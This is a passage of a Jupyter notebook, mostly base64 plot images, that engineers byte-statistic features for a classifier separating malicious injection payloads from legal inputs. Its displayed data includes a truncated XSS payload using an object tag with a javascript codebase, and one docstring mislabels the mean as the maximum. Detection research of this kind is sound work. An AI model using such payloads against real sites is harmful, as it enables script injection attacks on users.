L/EviHqV5kbOzkvBbdaSMj\nwxw9eqLTZXQd+zZ79mxuSutbSbVMpbSedQv7Nnvd0LPpQmOTy5cHgasBWsuQh2pjDwFrImJ1RCyh\nWrp8ANhKtfeMiDifakbtHxusUZIkqQhNzpTtATZFxP3AAHB9RGwBlmfm7RFxE7CfKhiOZuYjEfER\n4I6IOACMA1unW7qUJEnqFY2Fssx8Gtg24fDh2vg+YN+ExzwFbGmqJkmSpFJ58lhJkqQCGMokSZIK\nYCiTJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMkSSqA\noUySJKkAhjJJkqQCGMokSZIKMNTpAiSp12295b5OlyCpCzhTJkmSVABDmSRJUgEMZZIkSQUwlEmS\nJBXAUCZJklQAQ5kkSVIBDGWSJEkFMJRJkiQVwFAmSZJUAEOZJElSAWa8zFJEPB94C7AaGDh7PDO3\nNliXJElSX2nn2pd3Al9o/TPebDmSJEn9qZ1Qtjgzf63xSiRJkvpYO3vKDkTE5ohY0ng1kiRJfaqd\nmbLXUu0pIyLOHhvPzEVNFSVJktRvZgxlmXn+QhQiSZLUz9r59uUy4D3Aj7fufx/w7sx8ouHaJEmS\n+kY7e8p+H3g2sBX4RWAJ8IdNFiVJktRv2tlT9tLMXFe7/ZaI+LumCpIkSepH7YSywYh4TmYeA4iI\n5wCnZ3pQRAwCu4B1wCnghsw8UhvfDOxoPddoZu6ujZ0HfBnYlJmHZ/F+JEmSulI7oewDwJciYi/V\nGf03A7/dxuOuBZZm5sURsQHYCVwDEBGLgduAi4AngIMRsTczv9Ua+yPgyVm/G0mSpC41456yzPxj\n4KeArwMPA9dl5mgbz30pcG/rOR4E1tfG1gJHMnMsM58CDgAbW2O3Uu1Z+0a7b0KSJKnbTTlTFhGv\nzsx7IuL1rUMnWv9+cUS8ODM/NsNzrwCO126fiYihzDw9ydgJYGVEvAE4mpn7I+Lmdt7AqlXLGBrq\nrVOmjYwMd7qErmTfZs+ezU1JfSuplul0S52lsW+z1809m2758iLgHuDfTTI2DswUyh4D6p0ZbAWy\nycaGgWPALwPjEfFK4ELgYxHxmsz85lQvMjZ2coYyusvIyDBHj56Y+Y56Bvs2e/ZsbkrrW0m1TKW0\nnnUL+zZ73dCz6ULjlKEsM9/T+uMnM/N/1cci4ro2Xvcg1f6zO1t7yg7Vxh4C1kTEauBxqqXLWzPz\nU7XX+DywbbpAJkmS1CumW758HfAs4L0RsWPCY94J3D3Dc+8BNkXE/VRfELg+IrYAyzPz9oi4CdhP\nta9tNDMfOYf3IUmS1NWmW75cAVxCtbRYX8I8Dfz6TE+cmU8D2yYcPlwb3wfsm+bxl8/0GpIkSb1i\nuuXL3cDuiPhx4FBm/lPrkkvn1883JkmSpHPXzmWWXkTr1BbACLAvIm5sriRJkqT+004ouxF4BUBm\n/j3wUuCtTRYlSZLUb9oJZYupLpN01lNUp8SQJEnSPGnnMkt/CtwXEXe2bl8H7G2uJEmSpP4zYyjL\nzHdExGuBy4DvAh/MzD9tvDJ1la233PeM26Pbr+hQJZIkdad2li8BvgbcSTVrdjwitjZXkiRJUv+Z\ncaYsIj5Kdb6y1VRn4r+Q6mz97VyUXJIkSW1oZ6ZsI/BC4C6qb2K+DFjSZFGSJEn9pp1Q9o3M/C7V\nLNmPZuZXeObFxCVJknSO2vn25SMRcTPwWeB3IgJgeaNVSZIk9Zl2ZsreCDycmV+iugj5zwG/1GhV\nkiRJfaadmbJPZ+aVAJn5IeBDzZYkSZLUf9oJZT8QEc/LzH9ovBpJ6gETz9snSe2YMpRFxOsy878B\n5wN/HxHfAp4EBoDxzPw3C1SjJElSz5tupuw3I+LTVOcnu4BWGFuIoiRJ7fFqGlLvmC6U3U91IfIB\n4OHa8bPhbFGDdUmSJPWVKUNZZm4FtkbEf8/MaxawJkmSpL4z4ykxDGSSJEnNa/eC5JIkSWqQoUyS\nJKkAhjJJkqQCGMokSZIKYCiTJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMkmS\npAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCDDX1xBExCOwC1gGngBsy80htfDOwAzgNjGbm7ohY\nBOwGAhgHtmXm3zZVoyRJUimanCm7FliamRcD24GdZwciYjFwG3AlcBlwY0Q8F9gMkJkvB94FvK/B\n+iRJkorR2EwZcClwL0BmPhgR62tja4EjmTkGEBEHgI2ZeVdE3NO6z/OBYw3WJ0nzYust93W6BEk9\noMlQtgI4Xrt9JiKGMvP0JGMngJUAmXk6Ij4K/BTw2pleZNWqZQwNLZq/qgswMjLc6RLOWSfeQy/0\nbaHZs7kpuW+l1lZqXaWzb7PXzT1rMpQ9BtQ7M9gKZJONDVObFcvMX4yIdwB/GREvzMwnpnqRsbGT\n81hy542MDHP06IlOl3HOFvo99ErfFpI9m5vS+1ZibaX3rFT2bfa6oWfThcYm95QdBK4GiIgNwKHa\n2EPAmohYHRFLgI3AAxHxCxFxc+s+J4GnW/9IkiT1tCZnyvYAmyLifmAAuD4itgDLM/P2iLgJ2E8V\nDEcz85GIuBv444j438Bi4G2Z+WSDNUqSJBWhsVCWmU8D2yYcPlwb3wfsm/CYJ4CfaaomSZKkUnny\nWEmSpAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCGMokSZIK0OR5yiSpZ3m9S0nzzZkySZKkAhjK\nJEmSCmAokyRJKoB7yjQn7qeRJGl+OVMmSZJUAEOZJElSAQxlkiRJBTCUSZIkFcCN/pLUBr/cIqlp\nzpRJkiQVwFAmSZJUAEOZJElSAQxlkiRJBTCUSZIkFcBQJkmSVABPiSFJk/AUGJIWmjNlkiRJBTCU\nSZIkFcBQJkmSVAD3lKkRE/fjjG6/okOVSJLUHZwpkyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMk\nSSqA376UJDyDv6TOayyURcQgsAtYB5wCbsjMI7XxzcAO4DQwmpm7I2IxMApcADwL+K3M3NtUjZIk\nSaVocvnyWmBpZl4MbAd2nh1oha/bgCuBy4AbI+K5wM8Dj2bmK4CrgN9vsD5JkqRiNBnKLgXuBcjM\nB4H1tbG1wJHMHMvMp4ADwEbgLuDdrfsMUM2iSZIk9bwm95StAI7Xbp+JiKHMPD3J2AlgZWY+DhAR\nw8CngHfN9CKrVi1jaGjR/FVdgJGR4U6XMO8W4j31Yt+aZs96T6k/01LrKp19m71u7lmToewxoN6Z\nwVYgm2xsGDgGEBHPA/YAuzLzkzO9yNjYyfmpthAjI8McPXqi02XMu6bfU6/2rUn2rDeV+DP1szY3\n9m32uqFn04XGJkPZQWAzcGdEbAAO1cYeAtZExGrgcaqly1tb+8r+DHhLZn6uwdokSZKK0mQo2wNs\nioj7qfaHXR8RW4DlmXl7RNwE7Kfa1zaamY9ExO8Bq4B3R8TZvWU/kZlPNlinJElSxzUWyjLzaWDb\nhMOHa+P7gH0THvMrwK80VZMk9bqJ51sb3X5FhyqRNFue0V+SJKkAhjJJkqQCGMokSZIK4LUvJfUl\nr3UpqTTOlEmSJBXAUCZJklQAQ5kkSVIBDGWSJEkFMJRJkiQVwFAmSZJUAEOZJElSAQxlkiRJBTCU\nSZIkFcAz+kvqC57BX1LpnCmTJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMkmS\npAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCeO1LST3Ja11K6jaGMi2Iif+DHN1+RYcqkSSpTC5f\nSpIkFcBQJkmSVABDmSRJUgHcUyapZ7i5X1I3c6ZMkiSpAIYySZKkAhjKJEmSCtDYnrKIGAR2AeuA\nU8ANmXmkNr4Z2AGcBkYzc3dt7GXA+zPz8qbqkyRJKkmTG/2vBZZm5sURsQHYCVwDEBGLgduAi4An\ngIMRsTczvxURbwd+oXVcBXETtSRJzWkylF0K3AuQmQ9GxPra2FrgSGaOAUTEAWAjcBfwNeA64OMN\n1qYO8wz/Aj8HklTXZChbARyv3T4TEUOZeXqSsRPASoDM/HREXNDui6xatYyhoUXzUG45RkaGO13C\ngpuP99yPfTtXpfVsYkjbt/OaDlXSO0r5GZdSR7exb7PXzT1rMpQ9BtQ7M9gKZJONDQPH5vIiY2Mn\n51ZdoUZGhjl69ESny1hw5/qe+7Vv56JTPZvNMvhM9bmkPrMSfi/8/Zwb+zZ73dCz6UJjk6HsILAZ\nuLO1p+xQbewhYE1ErAYep1q6vLXBWiT1AEOYpF7WZCjbA2yKiPuBAeD6iNgCLM/M2yPiJmA/1Wk5\nRjPzkQZrkbRA3CcmSXPTWCjLzKeBbRMOH66N7wP2TfHY/wtsaKo2SZKk0njtS0mNOpclR5crJfUT\nQ5mkc2JwKpvLyVL38DJLkiRJBXCmTNK0nAmTpIVhKJP0DIYwSeoMQ5nUg2a7j8ggJkmdZyiTesBM\nocrN3pJUPkOZ1IecGZOk8hjKVIR6SHAWR5LUjwxlUhdypkuSeo+hTOoSBjFJ6m2GMqlQhjBJ6i+G\nMqkQhjBJ6m9eZkmSJKkAhjJJkqQCuHwpdYjLlZKkOmfKJEmSCuBMmXQOvHyRJGm+GMqkBeJypSRp\nOi5fSpIkFcBQJkmSVACXL6VZmGkJ0iVKla7+GXUPpFQWZ8okSZIK4EyZilPSNxqd+ZIkLRRnyiRJ\nkgrgTJmm5CyRJEkLx5kySZKkAjhTpp43m2+bOTsoSeoUQ5n6iqFLklQqQ5kk9amSvuksyVCmHuRs\nmCSpGxnKVLyZ/jZvCJMk9QJDmbqOIUyS1IsMZfpnhh1JkjqnsVAWEYPALmAdcAq4ITOP1MY3AzuA\n08BoZu6e6TGaX4YwSXVu/Jc6q8mTx14LLM3Mi4HtwM6zAxGxGLgNuBK4DLgxIp473WMkSZJ6WZPL\nl5cC9wJk5oMRsb42thY4kpljABFxANgIXDzNYzSJ6U6M6kyYpHMx039DnEmT5leToWwFcLx2+0xE\nDGXm6UnGTgArZ3jMpEZGhgfmseYijIwMt33ffTuvmdOYJC2k2fx3Td9j32avm3vW5PLlY0C9M4O1\ncDVxbBg4NsNjJEmSelaToewgcDVARGwADtXGHgLWRMTqiFhCtXT5wAyPkSRJ6lkD4+PjjTxx7ZuU\nPwoMANcDLwGWZ+bttW9fDlJ9+/IPJntMZh5upEBJkqSCNBbKJEmS1L4mly8lSZLUJkOZJElSAbzM\nUgEi4jzgy8Amqisc3AGMA38LvDkzn+5cdeWJiJuB1wBLqPYg/gX2bFqtEzZ/FLgAOAO8CT9rU4qI\nlwHvz8zLI+LfMkmfIuJNwH+g6uNvZeY9HSu4EBP6diHwIarP2yng9Zn5Lfv2TPWe1Y5tAd7aOpE6\n9uz7TfisnQfsBlYBi6g+a1/rxr45U9Zhrf9Z/hHwZOvQB4B3ZeYrqL7s4MnGaiLicuAS4OVUV4N4\nHvasHVcDQ5l5CfBe4H3Yt0lFxNuBDwNLW4e+r08R8UPAL1N9Dl8F/HZEPKsT9ZZikr79HlWwuBy4\nG3iHfXumSXpGRLwYeCPVZw179v0m6dvvAJ/IzI3Au4Af6da+Gco671bgD4FvtG6/lGrmB+AzwCs7\nUVTBXkV1qpQ9wD7gHuxZO74KDLW+4bwC+C72bSpfA66r3Z6sTz8GHMzMU5l5HDhC9a3xfjaxbz+b\nmX/T+vMQ8B3s20TP6FlE/AvgPwFvq93Hnn2/iZ+1lwP/KiI+C/x74PN0ad8MZR0UEW8Ajmbm/trh\ngcw8+5XYs1c60Pf8ILAe+GlgG/AJqpMM27PpPU61dHmYapr/g/hZm1RmfpoqtJ41WZ+muipJ35rY\nt8z8R4CIuAR4C9X1ju1bTb1nEbEI+AhwE1VfzrJnE0zyO3oBMJaZrwT+H/AOurRvhrLO2gpsiojP\nAxcCHwPOq42fvdKBvudRYH9mPpWZSfW37/ovmj2b3H+k6tsLgHVU+8uW1Mbt29Tq++ymuvqI/ZtE\nRLyOaiXgJzPzKPZtOi8F1gD/BfivwAsj4j9jz9rxKLC39ed9VH9x78q+Gco6KDM3ZuZlrT0XfwO8\nHvhMa98UwE8AX+hQeaU6AFwVEQMRcT7wbOBz9mxGY3zvb43fBhYDf23f2jJZn74IvCIilkbESmAt\n1ZcA1BIRP081Q3Z5Zn69ddi+TSEzv5iZL2r9/+Bngb/LzLdhz9pxgNbVgKiuEPQVurRvfvuyPL8K\n7G5dfuoh4FMdrqcomXlPRGyk+oUbBN4MPIw9m8ltwGhEfIFqhuydwF9h39rxfb+TmXkmIj5IFdAG\ngV/PzO90ssiStJbiPki1lHR3RAD8RWa+x77NTmZ+057N6FeBD0fEL1H95XNLZo51Y988o78kSVIB\nXL6UJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJJqIuKO1tU2JGlBGcokSZIK4MljJfW8\niLgb+GRmfqp1+6+oTjj5PmAZsAp4e2beVXvMBcDnM/OC1u3fAMjM34iIq4D3Ul0Z4WHgTZn56EK9\nH0m9yZkySf3g41SXriEi1gA/ALwVuCEzXwK8EdjRzhNFxAhwC/CqzHwxsB94fxNFS+ovzpRJ6gf/\nA/hQRAwDPwd8AvgA8OqI+GlgA7C8zed6GfCvgT9vXT5oEdX1RCXpnDhTJqnnZeZTwD3Aa4CfoQpl\nXwB+DPgy1TLmwISHjU84trj170XAgcy8MDMvBC4CXttc9ZL6haFMUr/4ONU+sm8DJ4AXADsy838C\nV1KFrbpjwKqIGImIZwFXtY7/JXBxRLygdfvdwO82Xbyk3mcok9QXMvMgsBL4k8z8NvBh4CsR8dfA\necCyiHh27f7HqcLWl4DPAl9sHf8msBW4MyIOAS+hCnuSdE4GxsfHO12DJElS33OmTJIkqQCGMkmS\npAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCGMokSZIKYCiTJEkqwP8Hx+qyGjuc9r4AAAAASUVO\nRK5CYII=\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f71044a0c50>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_mean_byte_value(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Maximum byte value in payload\n",
    "    '''\n",
    "    \n",
    "    payloads['mean-byte'] = [ np.mean(bytearray(str(row), 'utf8')) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "create_feature_mean_byte_value(payloads)\n",
    "display(payloads.head())\n",
    "\n",
    "plot_feature_distribution(payloads['mean-byte'].astype(int))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "      <th>punctuation</th>\n",
       "      <th>min-byte</th>\n",
       "      <th>max-byte</th>\n",
       "      <th>mean-byte</th>\n",
       "      <th>std-byte</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "      <td>16</td>\n",
       "      <td>32</td>\n",
       "      <td>118</td>\n",
       "      <td>87.016667</td>\n",
       "      <td>28.774695</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>48</td>\n",
       "      <td>109</td>\n",
       "      <td>69.363636</td>\n",
       "      <td>23.195896</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>115</td>\n",
       "      <td>108.333333</td>\n",
       "      <td>5.405758</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>118</td>\n",
       "      <td>111.000000</td>\n",
       "      <td>5.333333</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>48</td>\n",
       "      <td>57</td>\n",
       "      <td>53.687500</td>\n",
       "      <td>2.639099</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  punctuation  min-byte  max-byte  \\\n",
       "index                                                                          \n",
       "0                XSS      60              0           16        32       118   \n",
       "1              LEGAL      11              0            2        48       109   \n",
       "2              LEGAL       6              0            0       101       115   \n",
       "3              LEGAL       9              0            0       101       118   \n",
       "4              LEGAL      16              0            0        48        57   \n",
       "\n",
       "        mean-byte   std-byte  \n",
       "index                         \n",
       "0       87.016667  28.774695  \n",
       "1       69.363636  23.195896  \n",
       "2      108.333333   5.405758  \n",
       "3      111.000000   5.333333  \n",
       "4       53.687500   2.639099  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: std-byte\n",
      "count    110357.000000\n",
      "mean         12.155649\n",
      "std           9.201210\n",
      "min           0.000000\n",
      "25%           5.000000\n",
      "50%           7.000000\n",
      "75%          20.000000\n",
      "max          75.000000\n",
      "Name: std-byte, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "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